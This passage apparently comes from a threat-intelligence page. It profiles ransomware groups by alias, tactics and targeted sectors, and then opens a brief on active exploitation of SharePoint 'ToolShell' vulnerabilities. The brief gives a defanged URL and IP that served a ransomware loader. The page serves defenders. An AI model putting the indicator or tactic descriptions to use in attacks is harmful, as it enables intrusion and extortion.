  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Fiddling Scorpius

Also Known As

Play, PlayCrypt

Summary

Fiddling Scorpius is a sophisticated cybercriminal organization that emerged in June 2022. This group is notorious for its double-extortion tactics, where they exfiltrate sensitive data before encrypting systems and demanding ransom payments to prevent data leaks.

The tooling employed by Fiddling Scorpius includes a mix of custom and publicly available tools for command and control (C2), lateral movement, credential dumping, and data exfiltration. The primary impact of their attacks is data encryption with a .play extension, causing significant operational disruptions.

Sectors Impacted

Fiddling Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Agriculture
  • Conglomerates
  • Construction
  • Federal Government
  • Financial Services
  • High Technology
  • Hospitality
  • Industrial Automation Industry
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Fiery Scorpius

Pictorial representation of APT Fiery Scorpius. The silhouette of a scorpion and the Scorpius constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Helldown

Top Impacted Industries

  • Construction
  • High Technology
  • Hospitality
  • Professional and Legal Services
  • Transportation and Logistics
  • Wholesale and Retail

Flighty Scorpius

Pictorial representation of APT Flighty Scorpius. The silhouette of a scorpion and the Scorpius constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

ABCD, LockBit, LockBit 2.0, LockBit 3.0, LockBit Black, Lockbit_RaaS

Summary

Flighty Scorpius is a ransomware as a service (RaaS) group, first observed in September 2019. They were initially known for deploying ABCD ransomware, which was so named due to its characteristic .abcd file extension used during attacks. They later rebranded as LockBit when they became a RaaS operation.

Flighty Scorpius' operational model is distinguished by its affiliate program, which they aggressively marketed on underground forums. The group has innovated in affiliate relations, offering direct ransom payments to affiliates before taking its cut, a practice that contrasts with the norm and incentivizes potential partners.

Over the years, Flighty Scorpius has developed and released multiple LockBit ransomware variants. Each variant signifies an evolution in the group's technical capabilities, from faster encryption speeds to more sophisticated extortion techniques. This evolution is mostly as a result of their acquiring different ransomware source code from competitors.

The group suffered a major disruption with Operation Cronos in February 2024, which led to law enforcement seizing infrastructure and public-facing websites crucial to LockBit's operations. They also exposed Russian nationals as members of the group, including its administrator.

Despite these law enforcement disruptions Flighty Scorpius has resumed operations, including the potential release of a new ransomware variant.

Sectors Impacted

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Cryptocurrency Industry
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Fluttering Scorpius

Pictorial representation of APT Fluttering Scorpius. The silhouette of a scorpion and the Scorpius constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

FOG

Summary

Fluttering Scorpius, the group that distributes FOG ransomware, emerged as a significant threat actor in the ransomware landscape when first observed in April 2024. This group is notorious for exploiting vulnerabilities in widely used software to gain unauthorized access to systems.

The group employs various techniques, like using stolen credentials and unpatched vulnerabilities to infiltrate networks. Fluttering Scorpius has shared infrastructure with the Akira ransomware group, which suggests possible collaboration between these groups.

Fluttering Scorpius' operations are marked by rapid encryption attacks and strategically using living-off-the-land binaries (LOLBins) to evade detection.

The group focuses on targeting backup and disaster recovery solutions to maximize the impact of their attacks. The group often uses compromised VPN credentials to get a foothold in the victim's environment. These threat actors accomplish lateral movement using pass-the-hash attacks on administrator accounts to establish RDP connections targeting Hyper-V running on Windows servers. Fluttering Scorpius also uses credential stuffing to take over high-value accounts.

Sectors Impacted

  • Agriculture
  • Construction
  • Education
  • Healthcare
  • Hospitality
  • Manufacturing
  • Nonprofits
  • Professional and Legal Services
  • State and Local Government
  • Telecommunications
  • Utilities and Energy
  • Wholesale and Retail

Howling Scorpius

Also Known As

Storm-1567 (Microsoft), Punk Spider (CrowdStrike)

Akira

Summary

Howling Scorpius is a financially motivated ransomware-as-a-service (RaaS) operation observed since early 2023. It employs double extortion tactics, exfiltrating sensitive data before typically encrypting systems.

The group targets organizations globally, with a focus on North America, the UK, Australia and Europe. It impacts various sectors, including manufacturing, professional services, education, critical infrastructure and retail.

Howling Scorpius targets Windows and Linux/ESXi systems with evolving ransomware variants. It uses various tactics, including exploiting vulnerabilities and credential theft, to exfiltrate data.

Dwell times range from less than 24 hours to a month, likely reflecting varying affiliate capabilities. While Howling Scorpius primarily uses double extortion, threatening to publish stolen data if ransom demands are unmet, it has also engaged in extortion-only attacks. In cases we observed during Fall 2023, the group exfiltrated data for payment extortion without deploying ransomware.

Sectors Impacted

Howling Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Agriculture and Food and Beverage Production Industry
  • Automotive Industry
  • Civic Leagues and Social Welfare Organizations
  • Conglomerates
  • Construction
  • Consumer Business Industry
  • Education
  • Engineering and Construction Industry
  • Federal Government
  • Financial Services
  • Health Care Providers and Services Industry
  • Health Insurance Providers
  • Healthcare
  • High Technology
  • Hospitality
  • Hospitality Industry
  • Industrial Products And Services Industry
  • Information Technology (IT) or Technology Consulting Industry
  • Insurance
  • Investment Management Industry
  • Law Services and Consulting Industry
  • Management and Operations Consulting Industry
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Oil, Gas and Consumable Fuels Industry
  • Operational NGOs
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Public Safety
  • Real Estate
  • Real Estate Management, Brokerage and Service Provider Industry
  • Restaurants and Food Service Industry
  • Retail, Wholesale and Distribution Industry
  • State and Local Government
  • Technology Industry
  • Telecommunications
  • Telecommunications Industry
  • Transportation and Logistics
  • Transportation Industry
  • Utilities and Energy
  • Wholesale and Retail

Ignoble Scorpius

Also Known As

Black Suit, BlackSuit, Dapper Scorpius, Roy, Royal, Royal_Group, Zeon

Summary

Ignoble Scorpius is a cybercriminal organization specializing in ransomware attacks. First emerging in September 2022 as the Royal ransomware group, it rebranded as BlackSuit around May 2023.

This group comprises experienced members possibly linked to the defunct Conti group. It has developed custom ransomware payloads, notably introducing the BlackSuit ransomware as a successor to the earlier Royal ransomware. BlackSuit retained over 90% of Royal's codebase.

The group's ransomware targets Windows and Linux systems, including ESXi servers and employs strong encryption algorithms to render data inaccessible.

Sectors Impacted

Ignoble Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonclassifiable Establishments
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Invisible Scorpius

Also Known As

Cloak

Summary

Invisible Scorpius is a ransomware group targeting small to medium-sized businesses and using initial access brokers (IABs) for initial access. First seen at the end of 2022, the group is believed to be connected to the Stale Scorpius ransomware group after threat actors posted victim information from Stale Scorpius to Invisible Scorpius' leak site.

Sectors Impacted

Invisible Scorpius has previously impacted organizations in the following sectors:

  • Federal Government
  • Hospitality
  • Professional and Legal Services
  • State and Local Government
  • Transportation and Logistics

Mushy Scorpius

Also Known As

Karakurt, Karakurt Lair, Karakurt Team

Summary

Mushy Scorpius is the group behind Karakurt ransomware, known for focusing on extortion. It has links to the Conti RaaS group. First emerging in 2021, Mushy Scorpius steals intellectual property and demands ransom from victims without encrypting their data, leveraging threats to auction off the sensitive data or release it to the public.

As part of their extortion efforts, they provide victims with screenshots or copies of stolen file directories as evidence of the data theft. They aggressively contact victims' employees, business partners and clients with harassing emails and phone calls. They also leverage stolen data like social security numbers, payment accounts, private emails and other sensitive business information to exert pressure.

Upon receiving ransom payments, Mushy Scorpius has occasionally provided victims with proof that they deleted the stolen files, along with a brief explanation of how they initially breached the victim's defenses. This underlines the group’s focus on financial gain but also that they seek a level of engagement from their victims toward meeting their demands.

Sectors Impacted

Mushy Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Utilities and Energy
  • Wholesale and Retail

Pilfering Scorpius

Also Known As

Robinhood

Summary

Pilfering Scorpius ransomware group gained attention by attacking a number of local and state government entities starting in April 2019. This threat group often gains initial access by phishing, malicious websites and malicious file sharing or downloads.

Once their ransomware has gained access, it obtains persistence by using RDP to spread throughout the victim network. Initial reporting revealed that humans were largely responsible for operating these attacks, as opposed to them being run by automated processes.

Sectors Impacted

Pilfering Scorpius has previously impacted organizations in the following sectors:

  • Pharma and Life Sciences
  • Utilities and Energy
  • Transportation and Logistics
  • Education
  • Nonprofits
  • Insurance
  • Healthcare
  • Manufacturing
  • Federal Government
  • State and Local Government
  • Real Estate
  • Construction
  • Financial Services
  • Agriculture
  • Wholesale and Retail

Powerful Scorpius

Also Known As

BlackByte

Summary

Powerful Scorpius is a RaaS group operating since July 2021, distributing BlackByte ransomware. This group’s operational tactics includes exploiting vulnerabilities such as the ProxyShell vulnerability in Microsoft Exchange Servers, using tools like Cobalt Strike, and avoiding detection through obfuscation and anti-debugging techniques.

Their malware checks system languages and exits if it finds Russian or certain Eastern European languages, presumably to avoid impacting systems in those regions. The group uses multi-extortion techniques in their campaigns.

Sectors Impacted

Powerful Scorpius has previously impacted organizations in the following sectors:

  • Financial Services
  • Food and Agriculture
  • Government
  • Manufacturing
  • Wholesale and Retail

Procedural Scorpius

Also Known As

ThreeAM, 3AM

Summary

Procedural Scorpius is a ransomware group discovered in September 2023, when researchers noticed Procedural Scorpius’ malware being deployed in a failed LockBit attack. This group distributes 3 am ransomware, and is thought to be linked to two other notorious ransomware groups, Conti and Ignoble Scorpius (distributor of Royal ransomware).

Procedural Scorpius escalates their extortion tactics by contacting their victim's social media followers, informing them of the data leak. They also use bots that post on highly visible X accounts to advertise the leaks. Procedural Scorpius targets medium to large companies in countries not within the Commonwealth of Independent States (CIS).

Sectors Impacted

Procedural Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Financial Services
  • Manufacturing
  • Professional and Legal Services
  • Wholesale and Retail

Protesting Scorpius

Also Known As

Cactus, Cactus Ransomware Group

Summary

Protesting Scorpius emerged as a ransomware threat actor in March 2023, employing double-extortion tactics. The group distinguishes itself through innovative tactics, often securing initial access to target networks by exploiting vulnerabilities in internet-facing software and services, such as virtual private network (VPN) appliances. This includes the use of zero-day vulnerabilities. The group also gains access through phishing attacks or by acquiring credentials via partnerships with malware distributors.

Protesting Scorpius targets are located primarily in the U.S. The group focuses on infiltrating networks of both public sector organizations and large commercial entities.

The group exfiltrates sensitive data from its victims and engages in extortion using peer-to-peer messaging services. Protesting Scorpius also uploads exfiltrated files to its own leak site to apply additional pressure to victims.

Sectors Impacted

Protesting Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Life Insurance Providers
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Repellent Scorpius

Pictorial representation of APT Repellent Scorpius. The silhouette of a scorpion and the Scorpius constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Cicada3301, Cicada3301 ransomware-as-a-service

Summary

First observed in June 2024 on multiple predominantly Russian-language cybercrime forums, Repellent Scorpius' is a ransomware-as-a-service (RaaS) affiliate program. While the group's precise origin remains unknown, its presence on these forums and the use of Russian by its members suggest a possible connection to the Russian-speaking cybercriminal underground.

Repellent Scorpius prohibits attacks on Commonwealth of Independent States (CIS) countries (e.g., Russia) and charges affiliates a 20% fee on all ransoms. This relatively high profit share for affiliates likely aims to attract skilled cybercriminals. Prospective affiliates must undergo an interview and vetting process, including providing proof of their activity on cybercrime forums.

The group's ransomware, written in Rust, uses ChaCha20 encryption and operates offline. It supports Windows, Linux, ESXi and NAS platforms.

While no definitive link exists between the groups, some overlaps were observed between Repellent Scorpius and Ambitious Scorpius (aka BlackCat), which disbanded shortly before Repellent Scorpius appeared.

Sectors Impacted

Repellent Scorpius has previously impacted organizations in the following sectors: 

  • Construction
  • Healthcare
  • High technology
  • Telecommunications

Salty Scorpius

Also Known As

Trigona

Summary

Salty Scorpius claims to be a highly profitable operation, launching global attacks deploying Trigona ransomware with promises of 20%-50% returns from each successful endeavor. First identified in October 2022, their operations partnered with network access brokers, who provided them with compromised credentials via the Russian Anonymous Marketplace (RAMP) forum. This collaboration was crucial for gaining the initial access needed to infiltrate their targets.

Salty Scorpius has ties to the CryLock group, evidenced by their shared methodologies, strategies and the identical ransom note filenames and email addresses they employ. By April 2023, Salty Scorpius shifted their focus toward exploiting compromised Microsoft SQL (MSSQL) servers, leveraging brute-force attacks to penetrate these systems.

This group also performs detailed reconnaissance within the target’s network, malware distribution via remote monitoring and management (RMM) software, creation of new user accounts and then finally deployment of ransomware.

They were disrupted by hacktivists in 2023, but posts have appeared on their leak site in 2024.

Sectors Impacted

Salty Scorpius has previously impacted organizations in the following sectors:

  • Hospitality
  • Wholesale and Retail

Shifty Scorpius

Also Known As

Hunters International

Summary

Shifty Scorpius is a financially motivated ransomware-as-a-service (RaaS) group that emerged in October 2023. Security researchers believe the group to be related to the former Hive ransomware operation, potentially through acquisition or adaptation of Hive's codebase after law enforcement disruptions.

Unlike other ransomware groups, Shifty Scorpius primarily focuses on data exfiltration and extortion, not encryption. This extortion includes leaking pre-operative pictures of patients from breached healthcare organizations.

The group targets a wide array of industries globally, with particular focus on the healthcare, finance and automotive sectors. It employs a multifaceted approach to infiltrating and exploiting target networks.

Shifty Scorpius has directly contacted the clients and customers of victim organizations, often via email, to solicit payment for not publishing or selling their details on the dark web.

Sectors Impacted

Shifty Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Conglomerates
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Health Insurance Providers
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Internet of Things (IoT) industry
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Spicy Scorpius

Also Known As

Avos, AvosLocker

Summary

Spicy Scorpius is a RaaS group that first emerged as a significant threat in 2021. This group uses multi-extortion tactics and remote administration tool AnyDesk for manual operation on victim machines. They can operate in safe mode to evade security measures. They also auction stolen data on their site in addition to their ransom demand.

The group’s deployment strategies include leveraging vulnerabilities like Log4Shell for initial access. This group has a level of organization resembling that of legitimate tech businesses rather than traditional cybercrime operations.

The threat they use has evolved to specifically target Linux systems and VMware ESXi servers since its debut, where many similar operations primarily focus on Windows systems.

Sectors Impacted

Spicy Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Finance
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Spikey Scorpius

Also Known As

Agenda, Qilin, Qilin Team

Summary

Spikey Scorpius operates as an affiliate program for ransomware as a service and has recently adopted Rust-based ransomware to target its victims. Previously, they used Go as their preferred language.

Spikey Scorpius often tailors ransomware attacks to each victim for maximum impact. To achieve this, threat actors employ strategies like altering file extensions of encrypted files and terminating specific processes and services.

The group advertises their ransomware Qilin on the dark web. This ransomware features a proprietary data leak site (DLS) containing unique company IDs and leaked account information.

Spikey Scorpius' operators employ a double extortion approach, which involves encrypting a victim's sensitive data and exfiltrating it. They then demand payment for a decryption key and threaten to release the stolen data even after receiving the ransom.

The malware offers various encryption modes, all under the operator's control. Additionally, they may attempt to reboot systems in normal mode and halt server-specific processes to complicate the victim's data recovery efforts.

Sectors Impacted

Spikey Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Industrial Automation Industry
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Pharma and Life Sciences
  • Professional & Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Spoiled Scorpius

Also Known As

Cyclops, Knight, RansomHub

Summary

Spoiled Scorpius is a prominent ransomware-as-a-service (RaaS) operation that emerged in February 2024. This cybercriminal group has rapidly become one of the most active ransomware threats, leveraging a double-extortion model to maximize financial gains. Analysis of code indicates significant overlap with Knight ransomware, suggesting that Spoiled Scorpius could have evolved or built upon this earlier threat.

While the group's primary focus has been on organizations within the U.S., it has also expanded operations to European targets This indicates a strategic shift toward a more global victim base. Its victims cover a diverse range of industries.

Sectors Impacted

Spoiled Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Chemical Manufacturing
  • Conglomerates
  • Construction
  • Cryptocurrency Industry
  • Education
  • Federal Government
  • Financial Services
  • Health Insurance Providers
  • Healthcare
  • High Technology
  • Holding Companies
  • Hospitality
  • Industrial Automation Industry
  • Insurance
  • Internet of Things (IoT) Industry
  • Manufacturing
  • Media and Entertainment
  • Manufacturing Chemical Preparations
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Squalid Scorpius

Also Known As

8Base

Summary

Squalid Scorpius ransomware group first emerged in March 2022, using a multi-extortion tactic. The group initially remained under the radar with relatively few attacks, but in June 2023, their activity spiked dramatically, showcasing a more aggressive approach.

They leverage encryption techniques alongside name-and-shame strategies to pressure victims into paying ransoms. Squalid Scorpius has used a number of ransomware variants, including a customized version of the Phobos ransomware. This indicates their technical adaptability, as well as their focus on evading detection and maximizing impact. This adaptability is evident in their use of advanced encryption techniques and strategies to bypass User Account Control (UAC) mechanisms on Windows systems, enabling them to execute their malicious payloads without immediate detection.

Sectors Impacted

Squalid Scorpius has previously impacted organizations in the following sectors:

  • Utilities and Energy
  • Wholesale and Retail

Squeaking Scorpius

Also Known As

Rhysida

Summary

Squeaking Scorpius is a RaaS group first observed in May 2023. They are believed to go after targets of opportunity rather than specific industries or organizations. They employ a double extortion model, demanding a ransom to decrypt victim data and threatening to publish sensitive data unless a ransom is paid.

Squeaking Scorpius operates as a ransomware-as-a-service, where tools and infrastructure are leased out to affiliates. Any ransom paid is split between the group and the affiliated. They have been known to engage in ransom negotiations and disclose compromised victim data.

Their primary means of initial access is through phishing emails, malvertising, or using stolen credentials to authenticate to remote services, such as through VPNs, especially in organizations not using multi-factor authentication.

Once in a victim's environment, they use Living off the Land (LotL) techniques including PowerShell for enumerating the environments and RDP connections for lateral movement. They have also used Cobalt Strike in victim environments as well as a script that terminates anti-malware programs. The group distributes Rhysida ransomware, which encrypts data using a 4096-bit RSA encryption key.

Some researchers have suggested links between this group and the actors behind Vice Society ransomware, suggesting a rebrand.

Sectors Impacted

Squeaking Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Pharma and Life sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Utilities and Energy
  • Wholesale and Retail

Stale Scorpius

Also Known As

Good Day

Summary

Stale Scorpius is a ransomware group initially observed in May of 2023. Their infrastructure as well as purported victims are closely linked with Invisible Scorpius, leading researchers to believe the groups are connected. Contact information such as threat actor channels and email addresses that were observed in Invisible Scorpius attacks have also been seen in Stale Scorpius attacks.

Sectors Impacted

Stale Scorpius has previously impacted organizations in the following sectors:

  • Construction
  • Education
  • Federal Government
  • Healthcare
  • High Technology
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Wholesale and Retail

Stumped Scorpius

Also Known As

NoEscape, No Escape

Summary

Stumped Scorpius is a RaaS group that first emerged in May 2023 and quickly established themselves as a successor to the Avaddon ransomware group, which ceased operations in 2021. Stumped Scorpius uses aggressive multi-extortion tactics, targeting a broad range of industries including healthcare.

They encrypt files on Windows, Linux and VMware ESXi servers, demanding ransoms ranging from hundreds of thousands of dollars to over $10 million. Their developers claim to have built the malware and infrastructure from scratch, differentiating the threat from other ransomware families that often repurpose existing code.

Stumped Scorpius employs techniques like reflective DLL injection to target VMware ESXi servers. They have a robust RaaS platform that allows affiliates to customize attacks, including encryption strategies and ransom demands.

Their ransomware can bypass UAC on Windows, executing commands to delete shadow copies and system backups to prevent file recovery. It also uses the Microsoft Enhanced RSA and AES Cryptographic Provider for file encryption.

Sectors Impacted

Stumped Scorpius has previously impacted organizations in the following sectors:

  • Education
  • Federal Government
  • Media and Entertainment

Tarnished Scorpius

Pictorial representation of APT Tarnished Scorpius. The silhouette of a scorpion and the Scorpius constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Gold Ionic, Inc, Inc Group, Inc Ransom, Inc.

Summary

Tarnished Scorpius is a cybercriminal group that emerged in mid-2023. It specializes in ransomware attacks focusing on financial gain through double and triple extortion tactics. Originally targeting a wide variety of industries in the U.S., Tarnished Scorpius has notably shifted focus by launching attacks on healthcare institutions in the UK.

Tarnished Scorpius gains initial access to target networks through the exploitation of known vulnerabilities in public-facing applications. The group uses a wide range of tools and platforms to carry out operations.

Sectors Impacted

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Cryptocurrency Industry
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Transforming Scorpius

Also Known As

Medusa (Note: Medusa should not be confused with a similarly named RaaS, MedusaLocker, which has been available since 2019)

Summary

Transforming Scorpius, which appeared in late 2022, operates under a ransomware-as-a-service (RaaS) model. They use encryption techniques to lock the victim's data and demand a ransom for the decryption keys. The ransomware avoids encrypting extensions like .dll, .exe and .lnk and excludes specific folders from encryption to ensure the system's operability remains intact.

Transforming Scorpius has introduced multiple variants, differentiated mainly by their ransom notes, which have transitioned from text to HTML formats in newer versions. The ransomware also features a dedicated data leak site, launched in early 2023, to publish victim data as part of a multi-extortion strategy. Based on their unwillingness to comply with ransom demands, victims are offered options like data deletion or download for a fee.

Sectors Impacted

Transforming Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Industrial Automation Industry
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Tropical Scorpius

Pictorial representation of APT Tropical Scorpius. The silhouette of a scorpion and the Scorpius constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Storm-0671 (Microsoft), Storm-0978 (Microsoft)

Cuba, DEB-0978, Romcom, UAT-5647, UNC2596, Void Rabisu

Summary

Tropical Scorpius is a cybercriminal group active since 2021. Initially deploying the Cuba ransomware family in financially motivated attacks, the group has since expanded its ransomware operations to include the Industrial Spy, Underground and Trigona families.

They maintain a variety of custom implants written in different programming languages, relying on the malware RomCom in particular. They have used zero and n-day exploits for initial access.

Following the start of the Russia-Ukraine conflict in 2022, Tropical Scorpius also began conducting cyberespionage campaigns against Ukraine and its allies, supporting Russian geopolitical interests. While Microsoft researchers have placed the group's operations in Russia, the exact relationship between Tropical Scorpius and the Russian government remains unknown. It could be direct state-sponsorship, a contractual relationship or independent action aligned with Russian interests.

Sectors Impacted

  • Agriculture
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Twinkling Scorpius

Also Known As

HelloKitty, Gookie, HelloGookie

Summary

Twinkling Scorpius is a ransomware group distributing HelloKitty ransomware that was identified in November 2020, targeting Windows systems and using unpatched vulnerabilities like those in SonicWall devices to gain initial access to victim networks. In July 2021, Unit 42 observed the group using a Linux variant of HelloKitty targeting VMware’s ESXi hypervisor.

The group uses both email and Tor chats for communications. In late 2023, the ransomware developer and operator, also known as Gookee/kapuchin0 and Guki, leaked the source code and shut the operation down.

In March 2024, the group rebranded, and now calls themselves Gookie or HelloGookie. To mark the occasion of the rebrand, the malware author released the data stolen in the CD Projekt Red breach and 2022 Cisco attack.

Sectors Impacted

Twinkling Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Information Technology Services

Weary Scorpius

Also Known As

Backmydata, Devos, Eight, Eking, Elbie, Faust, Phobos

Summary

Weary Scorpius is a financially motivated cybercriminal group active since late 2018. The group has used Phobos ransomware and its variants (e.g. Eking, Eight, Elbie, Devos, Faust and BackMyData) to operate under a ransomware-as-a-service (RaaS) model.

This group has targeted a diverse range of industries, including critical infrastructure and essential services. It has primarily focused on the U.S., Western Europe and the Asia-Pacific region. In early 2024, the group intensified its focus on the technology sector and adopted double extortion tactics.

As a RaaS group, Weary Scorpius exhibits a wide range of tactics, techniques and procedures (TTPs) during the pre-encryption attack stage. It gains initial access by exploiting exposed Remote Desktop Protocol (RDP) services through brute-force attacks, conducting phishing campaigns with malicious macros and employing loader malware to distribute ransomware variants.

The group performs the following activities:

  • Accessing credentials using public tools then using those credentials for lateral movement within the network
  • Performing network discovery with network scanning tools to identify valuable targets
  • Exfiltrating data before encryption, leveraging double extortion tactics by threatening to leak stolen data if victims have not paid the ransom

Sectors Impacted

Weary Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Aviation and Aeronautical Engineering
  • Education
  • Financial Services
  • Healthcare
  • High Technology
  • Manufacturing
  • Nonprofits
  • Professional and Legal Services
  • State and Local Government
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Updated Aug. 7, 2024, at 12:05 p.m. PT to clarify headings. 

Updated Sept. 3, 2024, at 9:56 a.m. PT to remove StellarParticle from Cloaked Ursa akas.

Updated Sept. 11, 2024, at 11:25 a.m. PT for clarifying language.

Updated Jan. 29, 2025, at 7:55 a.m. PT. 

Updated June 19, 2025, at 9:55 a.m. PT to add Nuclear Taurus and Starchy Taurus.  

Updated Aug. 1, 2025, at 11:05 am P.T. to update many entries and add Bling Libra, Fiery Scorpius, Flighty Scorpius, Repellent Scorpius, Tarnished Scorpius and Tropical Scorpius. 

Active Exploitation of Microsoft SharePoint Vulnerabilities: Threat Brief (Updated August 12)

Posted on by Unit 42

Executive Summary

Unit 42 stopped monitoring this threat and updating the brief on Sept. 18, 2025. Please refer to the Microsoft SharePoint customer guidance for the latest information.

Update July 31, 2025 ​​

An investigation into ToolShell exploitation revealed the deployment of 4L4MD4R ransomware, a variant of the open-source Mauri870 ransomware.

A failed exploitation attempt on July 27, 2025, involving an encoded PowerShell command, led to the discovery of a loader designed to download and execute the ransomware from hxxps://ice.theinnovationfactory[.]it/static/4l4md4r.exe (145.239.97[.]206).

The PowerShell command attempted to disable real-time monitoring and bypass certificate validation. Full details are in the Scope of Attack section.

Update July 29, 2025

Unit 42 telemetry captured CVE-2025-53770 exploitation attempts from July 17, 2025, 08:40 UTC, through July 22, 2025, originating from threat activity tracked as CL-CRI-1040.

Pre-exploitation vulnerability testing of SharePoint servers by CL-CRI-1040 IP addresses was observed starting July 17, 2025, 06:58 UTC. A static targeting list of SharePoint servers is indicated by the exploitation attempt patterns.

One of the IP addresses exploiting CVE-2025-53770 as part of CL-CRI-1040 overlaps with the Storm-2603 cluster discussed by Microsoft. We are currently researching this cluster to gain further insight into the actors involved.

Unit 42 is tracking high-impact, ongoing threat activity targeting self-hosted Microsoft SharePoint servers. While SaaS environments remain unaffected, self-hosted SharePoint deployments — particularly within government, schools, healthcare (including hospitals) and large enterprise companies — are at immediate risk.

On-premises Microsoft SharePoint servers are currently facing widespread, active exploitation due to multiple vulnerabilities, collectively referred to as "ToolShell" (CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771). These vulnerabilities enable attackers to achieve full remote code execution (RCE) without requiring any credentials. A compromised SharePoint server poses a significant risk to organizations, as it can serve as a gateway to other integrated Microsoft services.

